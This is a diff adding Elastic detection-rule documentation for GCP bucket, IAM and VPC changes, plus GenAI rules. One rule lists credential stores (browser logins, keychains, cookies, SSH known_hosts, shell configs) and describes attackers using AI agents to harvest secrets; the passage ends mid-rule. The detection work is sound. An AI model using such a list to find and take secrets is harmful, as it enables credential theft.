logs for deletion actions, identifying potential malicious activity by flagging events where storage buckets are removed, thus enabling timely investigation and response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "storage.buckets.delete" to identify the user or service account responsible for the deletion. +- Check the timestamp of the deletion event to determine when the bucket was deleted and correlate it with any other suspicious activities around that time. +- Investigate the IP address and location from which the deletion request originated to assess if it aligns with expected access patterns. +- Examine the permissions and roles assigned to the user or service account involved in the deletion to determine if they had legitimate access. +- Look for any recent changes in IAM policies or permissions that might have allowed unauthorized access to the storage bucket. +- Contact the relevant stakeholders or data owners to confirm if the deletion was authorized or if it was unexpected. + + +*False positive analysis* + + +- Routine maintenance or scheduled deletions by authorized personnel can trigger false positives. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or applications that manage storage lifecycle policies might delete buckets as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using service account identifiers. +- Development or testing environments often involve frequent creation and deletion of storage buckets. Exclude these environments from monitoring by filtering based on project IDs or environment tags. +- Organizational policy changes that involve restructuring storage resources can lead to legitimate bucket deletions. Coordinate with relevant teams to update detection rules temporarily during such changes. + + +*Response and remediation* + + +- Immediately isolate the affected GCP project to prevent further unauthorized access or actions. This can be done by revoking access keys and permissions for any suspicious accounts identified in the audit logs. +- Restore the deleted storage bucket from the most recent backup to minimize data loss and operational disruption. Ensure that the backup is clean and free from any malicious alterations. +- Conduct a thorough review of IAM roles and permissions associated with the affected storage bucket to ensure that only authorized users have the necessary access. Implement the principle of least privilege. +- Enable versioning on critical storage buckets to protect against accidental or malicious deletions in the future, allowing for easier recovery of deleted objects. +- Set up alerts for any future deletion actions on storage buckets to ensure immediate awareness and response to similar threats. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data were compromised. +- Document the incident, including actions taken and lessons learned, to improve response strategies and update incident response plans for future reference. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:"storage.buckets.delete" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-storage-bucket-permissions-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-storage-bucket-permissions-modification.asciidoc new file mode 100644 index 0000000000..f7bf34c2b6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-storage-bucket-permissions-modification.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-21-gcp-storage-bucket-permissions-modification]] +=== GCP Storage Bucket Permissions Modification + +Identifies when the Identity and Access Management (IAM) permissions are modified for a Google Cloud Platform (GCP) storage bucket. An adversary may modify the permissions on a storage bucket to weaken their target's security controls or an administrator may inadvertently modify the permissions, which could lead to data exposure or loss. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/storage/docs/access-control/iam-permissions + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Storage Bucket Permissions Modification* + + +Google Cloud Platform (GCP) storage buckets are essential for storing and managing data in the cloud. IAM permissions control access to these buckets, ensuring data security. Adversaries may alter these permissions to bypass security measures, leading to unauthorized data access or exposure. The detection rule identifies successful permission changes, signaling potential misuse or accidental misconfigurations, aiding in timely security audits and responses. + + +*Possible investigation steps* + + +- Review the event logs for the specific action "storage.setIamPermissions" to identify which IAM permissions were modified and by whom. +- Check the event.outcome field to confirm the success of the permission change and correlate it with any recent access attempts or data access patterns. +- Investigate the identity of the user or service account that performed the permission change to determine if it aligns with expected administrative activities. +- Assess the current IAM policy of the affected storage bucket to understand the new permissions and evaluate any potential security risks or exposure. +- Cross-reference the timing of the permission change with other security events or alerts to identify any suspicious activity or patterns. +- Consult with the bucket owner or relevant stakeholders to verify if the permission change was authorized and necessary for operational purposes. + + +*False positive analysis* + + +- Routine administrative updates to IAM permissions can trigger alerts. To manage this, create exceptions for known maintenance windows or specific administrative accounts that regularly perform these updates. +- Automated scripts or tools that adjust permissions as part of their normal operation may cause false positives. Identify these scripts and exclude their actions from triggering alerts by using specific service accounts or tags. +- Changes made by trusted third-party services integrated with GCP might be flagged. Review and whitelist these services if they are verified and necessary for business operations. +- Temporary permission changes for troubleshooting or testing purposes can be mistaken for malicious activity. Document and schedule these changes, and exclude them from alerts during the specified timeframes. +- Permissions modified by cloud management platforms or orchestration tools should be reviewed. If these tools are part of standard operations, consider excluding their actions from the detection rule. + + +*Response and remediation* + + +- Immediately revoke any unauthorized IAM permissions changes by restoring the previous known good configuration for the affected GCP storage bucket. +- Conduct a thorough review of the IAM policy change logs to identify the source and nature of the modification, focusing on the user or service account responsible for the change. +- Isolate the affected storage bucket from external access until the permissions are verified and secured to prevent further unauthorized access. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized changes and the steps taken to mitigate the risk. +- Implement additional monitoring on the affected storage bucket and related IAM policies to detect any further unauthorized changes or suspicious activities. +- Review and update IAM policies to ensure the principle of least privilege is enforced, reducing the risk of similar incidents in the future. +- If the incident is suspected to be part of a larger attack, escalate to incident response teams for a comprehensive investigation and potential involvement of law enforcement if necessary. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:"storage.setIamPermissions" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-virtual-private-cloud-network-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-virtual-private-cloud-network-deletion.asciidoc new file mode 100644 index 0000000000..13ce7aa359 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-virtual-private-cloud-network-deletion.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-21-gcp-virtual-private-cloud-network-deletion]] +=== GCP Virtual Private Cloud Network Deletion + +Identifies when a Virtual Private Cloud (VPC) network is deleted in Google Cloud Platform (GCP). A VPC network is a virtual version of a physical network within a GCP project. Each VPC network has its own subnets, routes, and firewall, as well as other elements. An adversary may delete a VPC network in order to disrupt their target's network and business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/vpc + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Virtual Private Cloud Network Deletion* + + +Google Cloud Platform's Virtual Private Cloud (VPC) networks are essential for managing isolated network environments within a project, encompassing subnets, routes, and firewalls. Adversaries may target VPC deletions to disrupt operations and evade defenses. The detection rule monitors audit logs for successful VPC deletions, flagging potential malicious activity by correlating specific event actions and outcomes. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action value "v*.compute.networks.delete" to identify the exact time and user account associated with the VPC network deletion. +- Check the event.outcome field to confirm the success of the deletion and correlate it with any other suspicious activities around the same timeframe. +- Investigate the user account or service account that performed the deletion to determine if it was authorized and if there are any signs of compromise or misuse. +- Examine the project and network configurations to assess the impact of the VPC deletion on the organization's operations and identify any critical resources that were affected. +- Look for any recent changes in IAM roles or permissions that might have allowed unauthorized users to delete the VPC network. +- Cross-reference the deletion event with other security alerts or incidents to identify potential patterns or coordinated attacks. + + +*False positive analysis* + + +- Routine maintenance activities may involve the deletion of VPC networks as part of infrastructure updates or reconfigurations. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or tools used for environment cleanup might trigger false positives if they delete VPC networks as part of their operation. Identify these scripts and exclude their actions from triggering alerts by using specific service accounts or tags associated with these tools. +- Development and testing environments often undergo frequent changes, including VPC deletions. Consider excluding these environments from alerts by filtering based on project IDs or environment tags to reduce noise. +- Organizational policy changes might lead to the intentional deletion of VPC networks. Ensure that such policy-driven actions are documented and that the responsible teams are excluded from triggering alerts by using role-based access controls or specific user identifiers. + + +*Response and remediation* + + +- Immediately isolate the affected project by restricting network access to prevent further unauthorized deletions or modifications. +- Review the audit logs to identify the source of the deletion request, including the user account and IP address, and verify if it was authorized. +- Recreate the deleted VPC network using the latest backup or configuration snapshot to restore network operations and minimize downtime. +- Implement additional access controls, such as multi-factor authentication and least privilege principles, to prevent unauthorized access to VPC management. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Escalate the incident to Google Cloud Platform support if necessary, especially if there are indications of a broader compromise or if assistance is needed in recovery. +- Enhance monitoring and alerting for VPC-related activities to detect and respond to similar threats more effectively in the future. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:v*.compute.networks.delete and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-virtual-private-cloud-route-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-virtual-private-cloud-route-creation.asciidoc new file mode 100644 index 0000000000..4bd05cbe59 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-virtual-private-cloud-route-creation.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-gcp-virtual-private-cloud-route-creation]] +=== GCP Virtual Private Cloud Route Creation + +Identifies when a virtual private cloud (VPC) route is created in Google Cloud Platform (GCP). Google Cloud routes define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These destinations can be inside a Google VPC network or outside it. An adversary may create a route in order to impact the flow of network traffic in their target's cloud environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/routes +* https://cloud.google.com/vpc/docs/using-routes + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Virtual Private Cloud Route Creation* + + +In Google Cloud Platform, VPC routes dictate the network paths for traffic from VM instances to various destinations, both within and outside the VPC. Adversaries may exploit this by creating routes to reroute or intercept traffic, potentially disrupting or spying on network communications. The detection rule identifies such activities by monitoring specific audit events related to route creation, aiding in the early detection of unauthorized network modifications. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:gcp.audit and event.action values (v*.compute.routes.insert or "beta.compute.routes.insert") to identify the exact time and user account associated with the route creation. +- Examine the details of the newly created route, including the destination IP range and next hop, to determine if it aligns with expected network configurations or if it appears suspicious. +- Check the IAM permissions and roles of the user account that created the route to assess if they had the necessary privileges and if those privileges are appropriate for their role. +- Investigate any recent changes in the environment that might explain the route creation, such as new deployments or changes in network architecture. +- Correlate the route creation event with other security events or alerts in the same timeframe to identify potential patterns or coordinated activities that could indicate malicious intent. +- Consult with the network or cloud infrastructure team to verify if the route creation was part of an authorized change or if it was unexpected. + + +*False positive analysis* + + +- Routine network configuration changes by authorized personnel can trigger alerts. To manage this, maintain a list of known IP addresses and users who frequently make legitimate changes and exclude their activities from triggering alerts. +- Automated deployment tools that create or modify routes as part of their normal operation may cause false positives. Identify these tools and their associated service accounts, then configure exceptions for these accounts in the monitoring system. +- Scheduled maintenance activities often involve creating or updating routes. Document these activities and set temporary exceptions during the maintenance window to prevent unnecessary alerts. +- Integration with third-party services might require route creation. Verify these integrations and whitelist the associated actions to avoid false positives. +- Development and testing environments may have frequent route changes. Consider applying different monitoring thresholds or rules for these environments to reduce noise. + + +*Response and remediation* + + +- Immediately isolate the affected VM instances by removing or disabling the suspicious route to prevent further unauthorized traffic redirection. +- Conduct a thorough review of recent route creation activities in the GCP environment to identify any other unauthorized or suspicious routes. +- Revoke any unauthorized access or permissions that may have allowed the adversary to create the route, focusing on IAM roles and service accounts with route creation privileges. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further investigation. +- Implement network monitoring and logging to detect any future unauthorized route creation attempts, ensuring that alerts are configured for similar activities. +- Review and update the GCP VPC network security policies to enforce stricter controls on route creation and modification, limiting these actions to trusted administrators only. +- If applicable, report the incident to Google Cloud support for further assistance and to understand if there are any additional security measures or advisories. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:(v*.compute.routes.insert or "beta.compute.routes.insert") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-virtual-private-cloud-route-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-virtual-private-cloud-route-deletion.asciidoc new file mode 100644 index 0000000000..efa3f54e91 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-virtual-private-cloud-route-deletion.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-gcp-virtual-private-cloud-route-deletion]] +=== GCP Virtual Private Cloud Route Deletion + +Identifies when a Virtual Private Cloud (VPC) route is deleted in Google Cloud Platform (GCP). Google Cloud routes define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These destinations can be inside a Google VPC network or outside it. An adversary may delete a route in order to impact the flow of network traffic in their target's cloud environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/routes +* https://cloud.google.com/vpc/docs/using-routes + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Virtual Private Cloud Route Deletion* + + +In GCP, VPC routes dictate network traffic paths between VM instances and other destinations. Adversaries may delete these routes to disrupt traffic flow, potentially evading defenses or impairing network operations. The detection rule monitors audit logs for successful route deletions, flagging potential misuse by identifying specific actions linked to route removal, thus aiding in timely threat response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:gcp.audit and event.action:v*.compute.routes.delete to identify the exact time and user account associated with the route deletion. +- Check the event.outcome:success field to confirm the deletion was successful and not an attempted action. +- Investigate the user account or service account that performed the deletion to determine if it was authorized to make such changes, including reviewing recent activity and permissions. +- Assess the impact of the route deletion by identifying which VPC and network traffic paths were affected, and determine if any critical services were disrupted. +- Correlate the route deletion event with other security events or alerts around the same timeframe to identify potential coordinated actions or broader attack patterns. +- Contact the relevant stakeholders or system owners to verify if the route deletion was intentional and part of a planned change or if it was unauthorized. + + +*False positive analysis* + + +- Routine maintenance activities by network administrators can trigger route deletions. To manage this, create exceptions for known maintenance windows or specific administrator accounts. +- Automated scripts or tools used for network configuration updates may delete and recreate routes as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts. +- Cloud infrastructure changes during deployment processes might involve temporary route deletions. Document these processes and exclude related events from detection during deployment periods. +- Scheduled network reconfigurations that involve route deletions should be logged and excluded from alerts by correlating with change management records. +- Test environments often undergo frequent network changes, including route deletions. Exclude events from test environments by filtering based on project or environment tags. + + +*Response and remediation* + + +- Immediately isolate the affected VPC to prevent further unauthorized network traffic disruptions. This can be done by temporarily disabling external access or applying restrictive firewall rules. +- Review the audit logs to identify the user or service account responsible for the route deletion. Verify if the action was authorized and investigate any anomalies in user behavior or access patterns. +- Restore the deleted route using the latest backup or configuration management tools to re-establish normal network traffic flow. Ensure that the restored route aligns with the intended network architecture. +- Implement additional access controls and monitoring for the affected VPC, such as enabling more granular IAM roles and setting up alerts for any future route modifications. +- Conduct a security review of the affected environment to identify any other potential misconfigurations or vulnerabilities that could be exploited in a similar manner. +- Escalate the incident to the security operations team for further investigation and to determine if the route deletion was part of a larger attack campaign. +- Document the incident, including the root cause analysis and remediation steps taken, to enhance organizational knowledge and improve future incident response efforts. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:v*.compute.routes.delete and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-genai-process-accessing-sensitive-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-genai-process-accessing-sensitive-files.asciidoc new file mode 100644 index 0000000000..b61f0a95bb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-genai-process-accessing-sensitive-files.asciidoc @@ -0,0 +1,207 @@ +[[prebuilt-rule-8-19-21-genai-process-accessing-sensitive-files]] +=== GenAI Process Accessing Sensitive Files + +Detects when GenAI tools access sensitive files such as cloud credentials, SSH keys, browser password databases, or shell configurations. Attackers leverage GenAI agents to systematically locate and exfiltrate credentials, API keys, and tokens. Access to credential stores (.aws/credentials, .ssh/id_*) suggests harvesting, while writes to shell configs (.bashrc, .zshrc) indicate persistence attempts. Note: On linux only creation events are available. Access events are not yet implemented. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0085 +* https://atlas.mitre.org/techniques/AML.T0085.001 +* https://atlas.mitre.org/techniques/AML.T0055 +* https://glama.ai/blog/2025-11-11-the-lethal-trifecta-securing-model-context-protocol-against-data-flow-attacks +* https://www.elastic.co/security-labs/elastic-advances-llm-security +* https://specterops.io/blog/2025/11/21/an-evening-with-claude-code + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM +* Mitre Atlas: T0085 +* Mitre Atlas: T0085.001 +* Mitre Atlas: T0055 + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Accessing Sensitive Files* + + +This rule detects GenAI tools accessing credential files, SSH keys, browser data, or shell configurations. While GenAI tools legitimately access project files, access to sensitive credential stores is unusual and warrants investigation. + + +*Possible investigation steps* + + +- Review the GenAI process that triggered the alert to identify which tool is being used and verify if it's an expected/authorized tool. +- Investigate the user account associated with the GenAI process to determine if this activity is expected for that user. +- Review the types of sensitive files being accessed (credentials, keys, browser data, etc.) to assess the potential impact of credential harvesting or data exfiltration. +- Check for other alerts or suspicious activity on the same host around the same time, particularly network exfiltration events. +- Verify if the GenAI tool or extension is from a trusted source and if it's authorized for use in your environment. +- Determine if the GenAI process accessed multiple sensitive directories in sequence, an indication of credential harvesting. +- Check if the GenAI tool recently created or accessed AI agent config files, which may contain instructions enabling autonomous file scanning. +- Review whether the access was preceded by an MCP server, LangChain agent, or background automation. + + +*False positive analysis* + + +- Automated security scanning or auditing tools that leverage GenAI may access sensitive files as part of their normal operation. +- Development workflows that use GenAI tools for code analysis may occasionally access credential files. + + +*Response and remediation* + + +- Immediately review the GenAI process that accessed the documents to determine if it's compromised or malicious. +- Review, rotate, and revoke any API keys, tokens, or credentials that may have been exposed or used by the GenAI tool. +- Investigate the document access patterns to determine the scope of potential data exfiltration. +- Update security policies to restrict or monitor GenAI tool usage in the environment, especially for access to sensitive files. + + +==== Rule query + + +[source, js] +---------------------------------- +file where event.action in ("open", "creation", "modification") and event.outcome == "success" and + + // GenAI process + ( + process.name in~ ( + "ollama.exe", "ollama", + "textgen.exe", "textgen", "text-generation-webui.exe", "oobabooga.exe", + "lmstudio.exe", "lmstudio", "LM Studio", + "claude.exe", "claude", + "cursor.exe", "cursor", + "copilot.exe", "copilot", + "codex.exe", "codex", + "jan.exe", "jan", + "gpt4all.exe", "gpt4all", + "gemini-cli.exe", "gemini-cli", "gemini.exe", + "genaiscript.exe", "genaiscript", + "grok.exe", "grok", + "qwen.exe", "qwen", + "koboldcpp.exe", "koboldcpp", + "llama-server", "llama-cli", + "windsurf.exe", "windsurf", + "zed.exe", "zed", + "opencode.exe", "opencode", + "goose.exe", "goose" + ) or + // OpenClaw/Moltbot/Clawdbot family via Node.js + (process.name in~ ("node", "node.exe") and + process.command_line like~ ("*openclaw*", "*moltbot*", "*clawdbot*", + "*nemoclaw*", "*nanoclaw*", "*picoclaw*")) + ) and + + // Sensitive file paths + ( + // Persistence via Shell configs + file.name in (".bashrc", ".bash_profile", ".zshrc", ".zshenv", ".zprofile", ".profile", ".bash_logout") or + + // Credentials In Files + file.name like~ + ("key?.db", + "logins.json", + "Login Data", + "Local State", + "signons.sqlite", + "Cookies", + "cookies.sqlite", + "Cookies.binarycookies", + "login.keychain-db", + "System.keychain", + "credentials.db", + "credentials", + "access_tokens.db", + "accessTokens.json", + "azureProfile.json", + "RDCMan.settings", + "known_hosts", + "KeePass.config.xml", + "Unattended.xml") + ) and not ( + host.os.type == "windows" and + process.name : ("claude.exe", "Claude") and + file.path : ("?:\\Users\\*\\AppData\\Roaming\\Claude\\Local State", + "?:\\Users\\*\\AppData\\Local\\Packages\\Claude_*\\LocalCache\\Roaming\\Claude\\Local State") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-genai-process-compiling-or-generating-executables.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-genai-process-compiling-or-generating-executables.asciidoc new file mode 100644 index 0000000000..ef1cab8267 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-genai-process-compiling-or-generating-executables.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-21-genai-process-compiling-or-generating-executables]] +=== GenAI Process Compiling or Generating Executables + +Detects when GenAI tools spawn compilers or packaging tools to generate executables. Attackers leverage local LLMs to autonomously generate and compile malware, droppers, or implants. Python packaging tools (pyinstaller, nuitka, pyarmor) are particularly high-risk as they create standalone executables that can be deployed without dependencies. This rule focuses on compilation activity that produces output binaries, filtering out inspection-only operations. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0053 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Auditd Manager +* Data Source: 